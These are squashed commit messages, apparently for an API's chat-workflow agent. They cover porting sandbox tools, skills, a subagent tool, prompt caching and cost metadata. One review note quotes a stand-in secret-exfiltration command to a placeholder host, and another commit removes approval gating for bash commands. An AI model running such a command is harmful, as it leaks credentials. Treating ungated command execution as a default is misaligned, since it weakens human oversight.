Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): move active_stream_id CAS out of supabase lib

Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:

- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
  `where: Partial<Tables<"chats">>` (a generic predicate that maps to
  `column = value` or `column IS NULL`) so no column name is hardcoded
  in the Supabase lib.

- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
  Owns the "compare-and-set on active_stream_id" concept and returns a
  discriminated `{ok, claimed} | {ok: false, error}` result. Handler
  and reconcileExistingActiveStream both compose against this wrapper
  instead of constructing predicates inline.

- Handler + reconcile updated to use the wrapper. Tests follow.

37/37 tests in touched files pass; full suite 2955/2955; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth

Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).

1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
   narrowing wasn't kicking in under Next.js's strict TS plugin.
   Switched to `if ("error" in result)` (in-operator narrowing) which
   reliably discriminates the union members regardless of literal-type
   inference quirks.

2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
   .update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
   `.eq()` per where entry) caused "type instantiation is excessively
   deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
   reassignment kept expanding the type. Rewrote as: split where map
   into equality matches (one `.match(obj)` call) + nullable columns
   (reduced with `.is(col, null)` typed back to the original builder).

Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)

Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.

New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
  getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
  RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
  adapted to api's Sandbox interface. Injects recoup env on foreground
  execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
  record. Adding the remaining tools is a one-line append to this map.

Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
  experimental_context, and uses streamText's internal multi-step loop
  (stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
  in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
  via extractOrgId, builds AgentContext with session.sandbox_state +
  validated.authToken, passes to start(workflow).

Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure

Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
  default stop condition handles tool-call iteration without an
  arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
  bashTool. All model-issued commands are trusted in this PR — host-
  side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
  about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
  - `AgentContext.ts` — type
  - `isAgentContext.ts` — guard
  - `getSandbox.ts` — sandbox reconnection
  No catch-all utils file.

Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
  buildRecoupExecEnv. Handing the long-lived api key to bash would let
  any model-issued command exfiltrate it via env (`echo $TOKEN | curl
  evil.com`). Slim PR 4 has no actual consumer for the token — only
  the future `skill` tool needs it. Proper short-lived token minting
  will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
  sandbox.state is a non-null object AND sandbox.workingDirectory is a
  non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
  letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
  deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
  has no enforced max-lines rule; existing tests routinely exceed 700
  lines.

Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow

Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.

DRY by sharing one constant between the two chat endpoints:

- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
  Inherits the value that /api/chat already uses (originally hardcoded
  in getGeneralAgent.ts:55) — high enough that normal flows never hit
  the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
  instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
  streamText as `stopWhen`.

Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.

Full suite 2980/2980 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)

Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.

New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB

New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path

buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.

Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)

Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).

AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:

- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
  globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).

Full suite 3014/3014 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)

Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.

New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
  frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
  (key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
  drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
  only. Global skills (~/.skills) port later alongside short-lived
  token minting

New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.

Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
  non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
  start(workflow); empty catalog on discovery failure (best-effort,
  never blocks the request)

Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
  load + return content, but its curl examples wouldn't authenticate
  without ad-hoc credentials. Token minting becomes a separate PR
  where it can be designed properly (Privy JWT vs server-minted JWT
  scoped to accountId + sandbox session).

Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)

The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):

  - \${workingDirectory}/.claude/skills/   (project, claude-style)
  - \${workingDirectory}/.agents/skills/   (project, agents-style)
  - \${HOME}/.agents/skills/               (global; populated at
                                           provisioning by
                                           installSessionGlobalSkills)

Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.

Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
  to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
  getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants

Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.

Full suite 3053/3053; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)

Two changes per user direction:

1. **YAGNI: drop project-skill directory scanning.** All skills are
   provisioned globally via `installSessionGlobalSkills` at sandbox
   startup — org repos do NOT bundle their own skill directories.
   getSandboxSkillDirectories now returns just the single global
   path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
   and the PROJECT_SKILL_BASE_FOLDERS array.

2. **SRP: extract getSkills into its own file.** Previously inline in
   skillTool.ts (per sweetman comment on PR 587). Now lives at
   lib/skills/getSkills.ts with its own tests. Future skill-aware
   consumers (e.g. system-prompt builders) share the same accessor
   instead of duplicating the context-cast.

Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
  - Sandbox provisioning installs 2 globals at
    /home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
  - Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
    received 11,173 chars of SKILL.md content with the correct
    "Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
    header

Full suite 3055/3055; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory

Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:

- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
  - 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
    when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
  getSandboxSkillDirectories.ts
  - 2 new unit tests (standard path, trailing-slash tolerance)

discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).

Full suite passes; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)

Completes the open-agents tool surface. The agent now has all 11 tools.

**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.

**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.

The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
  executor/explorer/design all explicitly omit task too; subagents
  are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
  open-agents subagent curation; subagents run autonomously, don't
  plan from scratch, don't make web calls, don't load further skills)

AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.

buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).

Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.

Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(task-tool): provide non-empty subagent prompt

The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."

Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)

Address PR review feedback:

- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
  (one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
  model: LanguageModel / subagentModel?: LanguageModel. api can't follow
  that exact shape because agentContext is part of a durable Vercel
  Workflow input and LanguageModel objects aren't JSON-serializable.
  Instead of inventing modelId on AgentContext, hardcode a default
  subagent model id in taskTool. A subagentModelId override field can
  be added if/when a real consumer needs it.

Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent): align AgentContext + model resolution with open-agents

Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):

- AgentContext gains `model: LanguageModel` (required) and
  `subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
  for the workflow input shape, since LanguageModel instances aren't
  JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
  per step and merges it into experimental_context — same pattern as
  open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
  mirror open-agents' utility functions: getSubagentModel returns
  `ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
  getSubagentModel(experimental_context, "task") instead — subagent
  now defaults to the same model the parent is running.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)

* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)

First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.

New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
  open-agents' gateway-metadata.ts, parses gateway-reported per-step
  cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
  open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
  open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
  stateful factory returning a fresh callback per turn; accumulates
  usage + cost across finish-step parts.

Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).

Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage

Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:

- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
  extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
  in AgentMessageMetadata)

Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
  @ai-sdk/mcp: all bumped to latest stable

The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
  directly)

Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
  (now returns Promise<ModelMessage[]>)

Tests: 3106/3106 pass; production typecheck clean; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)

Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:

  - An initial "Subagent · 0 tools · 0 tokens" card with stable
    startedAt timestamp
  - A live `pending: {name, input}` indicator for each tool-call
  - Accumulated `usage` after each finish-step
  - A final `{final: ModelMessage[], ...}` chunk containing the full
    subagent transcript for expandable rendering

`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.

New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
  addLanguageModelUsage to handle undefined inputs without
  introducing zero-tokens placeholders.

Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.

Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)

* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)

Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.

Production verification (today, before this fix):
  agent: "My system prompt does not contain working directory or
         branch information."

After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.

Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
  environment section → Current branch → cloud-sandbox checkpointing
  → custom instructions, all conditional on inputs. Mirrors
  open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
  open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
  placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
  discovery AND cwd/branch reading, then thread real values into
  `AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
  connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
  today's behavior; tools surface real errors later when they
  reconnect).
- `runAgentStep`: build the system prompt via
  `buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
  instead of using the static `agentCustomInstructions` directly.

Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).

Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore(chat-workflow): drop currentBranch handling from system prompt

Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).

- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
  open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
  per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
  rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
  (the field stays on AgentContext.sandbox for type completeness;
  also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases

Can be re-added later if/when meaningful per-session branches (e.g.
xx/abcdef12 generated branches) land.

Tests: 3119/3119 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call

Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): Anthropic prompt cache control (Bundle A.6) (#599)

Fourth open-agents → api cutover bundle. runAgentStep was sending the
same system prompt + tool definitions on every turn as fresh input,
even though Anthropic prompt caching can shave 90% off subsequent
input cost. Production traces showed `cacheReadTokens: 0` on every
api turn, while open-agents shows cacheRead matching cacheWrite from
the prior turn — i.e. open-agents reuses the cached prefix.

Changes (SRP — one function per file):
- `lib/agent/contextManagement/isAnthropicModel.ts` — predicate
  port of open-agents'
  `packages/agent/context-management/cache-control.ts:5`.
- `lib/agent/contextManagement/addCacheControlToTools.ts` — marks
  the LAST tool with `cacheControl: { type: "ephemeral" }`. Last-only
  conserves Anthropic's 4-breakpoint limit.
- `lib/agent/contextManagement/addCacheControlToMessages.ts` —
  marks the LAST message with `cacheControl` on every step, per
  Anthropic's "mark the final block of the final message" guidance.

`runAgentStep` now:
- Wraps the tool set via `addCacheControlToTools(...)` before passing
  to streamText (static — set once per step).
- Adds a `prepareStep` callback that wraps `messages` via
  `addCacheControlToMessages(...)` on every internal model call.

Production behavior reproducer (Haiku 4.5, identical 2-turn prompt
to both backends):
  api prod (broken): turn1 cacheWrite=0 cacheRead=0 cost=$0.005952
                     turn2 cacheWrite=0 cacheRead=0 cost=$0.005959
                     → flat cost; full input billed every turn.
  open-agents prod:  turn1 cacheWrite=10966 cacheRead=0
                     turn2 cacheWrite=12    cacheRead=10966 cost drops 12x
                     → near-full prefix re-read from cache on turn 2.

After this PR, api should match open-agents' caching curve.

Tests: 19 new (7 isAnthropicModel + 5 addCacheControlToTools + 5
addCacheControlToMessages + 2 runAgentStep wiring assertions); full
suite 3138/3138 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
…ver bundle (#602)

* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)

* feat(chat-workflow): add POST /api/chat/workflow route stub

Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.

Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
  ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
  ChatWorkflowRequest (messages, chatId, sessionId, optional
  context.contextLimit)

Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)

409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.

Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — SRP/DRY cleanup

Two review fixes per PR feedback:

1. SRP/DRY — drop the local errorResponse helper from
   handleChatWorkflowStream.ts; use the shared
   lib/networking/errorResponse and lib/zod/validationErrorResponse
   helpers instead.

2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
   into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
   so it accepts a full NextRequest (like the existing validateChatRequest)
   and returns an auth-augmented body (accountId/orgId/authToken). The
   handler now opens with a single `validateChatWorkflow(request)` call.

Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
  into a single "validator short-circuit passes through" test — both are
  now the validator's responsibility, not the handler's

22/22 new tests green; full suite 2900/2900 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore: revert unrelated local changes accidentally swept into PR

Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow

Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.

